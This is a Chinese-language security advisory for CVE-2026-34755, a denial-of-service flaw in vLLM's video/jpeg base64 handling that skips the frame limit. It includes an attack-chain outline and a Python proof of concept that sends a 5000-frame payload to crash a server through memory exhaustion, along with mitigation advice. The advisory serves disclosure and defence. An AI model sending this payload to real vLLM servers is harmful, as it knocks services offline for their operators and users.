IPBUF安全漏洞报告
English
CVE-2026-34755 CVSS 6.5 中危

CVE-2026-34755 vLLM内存耗尽漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34755
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM

相关标签

拒绝服务DoSvLLMOOM内存耗尽CVE-2026-34755

漏洞概述

vLLM是一个大型语言模型推理引擎。在0.7.0至0.19.0之前的版本中,VideoMediaIO.load_base64()方法存在漏洞。该方法在处理video/jpeg数据URL时,仅通过逗号分割提取JPEG帧,但未对帧数进行限制。攻击者可发送包含大量base64编码JPEG帧的恶意请求,导致服务器内存溢出(OOM)并崩溃,造成拒绝服务。

技术细节

该漏洞位于vLLM项目的vllm/multimodal/media/video.py文件中的VideoMediaIO.load_base64()方法。在正常流程中,load_bytes()路径通过num_frames参数(默认为32)严格限制加载的帧数。然而,在处理video/jpeg格式的base64数据路径中,代码逻辑仅通过逗号分隔符来解析数据URL,完全绕过了num_frames参数的限制机制。攻击者无需高权限,只需构造一个包含数千个逗号分隔的base64编码JPEG帧的API请求。当服务器处理该请求时,会尝试将所有帧解码并加载到内存中,导致内存迅速耗尽,引发OOM错误,最终导致服务崩溃不可用。

攻击链分析

STEP 1
侦察
识别目标服务器是否运行了受影响版本的vLLM(0.7.0至0.19.0之间)。
STEP 2
构造攻击载荷
生成包含数千个逗号分隔的base64编码JPEG帧的数据URL,绕过正常的帧数限制。
STEP 3
发送请求
向vLLM的API端点发送包含恶意数据URL的推理请求。
STEP 4
资源耗尽
服务器解析请求并尝试将所有帧解码加载到内存中,导致内存溢出(OOM)。
STEP 5
服务崩溃
服务器因OOM错误崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import requests # Minimal valid JPEG base64 string (1x1 pixel) # This represents a single frame jpeg_header = "/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAP//////////////////////////////////////wgALCAABAAEBAREA/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPxA=" # Construct a malicious payload with 5000 frames # The vulnerability splits by comma, so we join many frames with commas num_frames = 5000 malicious_base64_payload = ",".join([jpeg_header] * num_frames) # Create the data URL format expected by the vulnerable endpoint data_url = f"data:video/jpeg;base64,{malicious_base64_payload}" # Target vLLM API endpoint (example) url = "http://localhost:8000/v1/chat/completions" # Construct the request payload payload = { "model": "llm-model", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Analyze this video"}, {"type": "image_url", "image_url": {"url": data_url}} ] } ] } # Send the malicious request # This should cause the server to run out of memory and crash try: # response = requests.post(url, json=payload, timeout=10) # print(f"Response Status: {response.status_code}") print(f"Sending payload with {num_frames} frames to trigger OOM...") except Exception as e: print(f"Exception occurred: {e}")

影响范围

vLLM 0.7.0
vLLM 0.7.1
vLLM 0.7.2
vLLM 0.7.3
vLLM 0.8.0
vLLM 0.9.0
vLLM 0.10.0
vLLM 0.11.0
vLLM 0.12.0
vLLM 0.13.0
vLLM 0.14.0
vLLM 0.15.0
vLLM 0.16.0
vLLM 0.17.0
vLLM 0.18.0
vLLM 0.19.0 之前版本

防御指南

临时缓解措施
建议立即将vLLM组件升级至0.19.0或更高版本以修补漏洞。若暂时无法升级,应在网络入口处(如WAF或反向代理)配置规则,拦截包含过长的video/jpeg base64数据或大量逗号分隔符的恶意请求,并严格限制API请求体的最大长度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表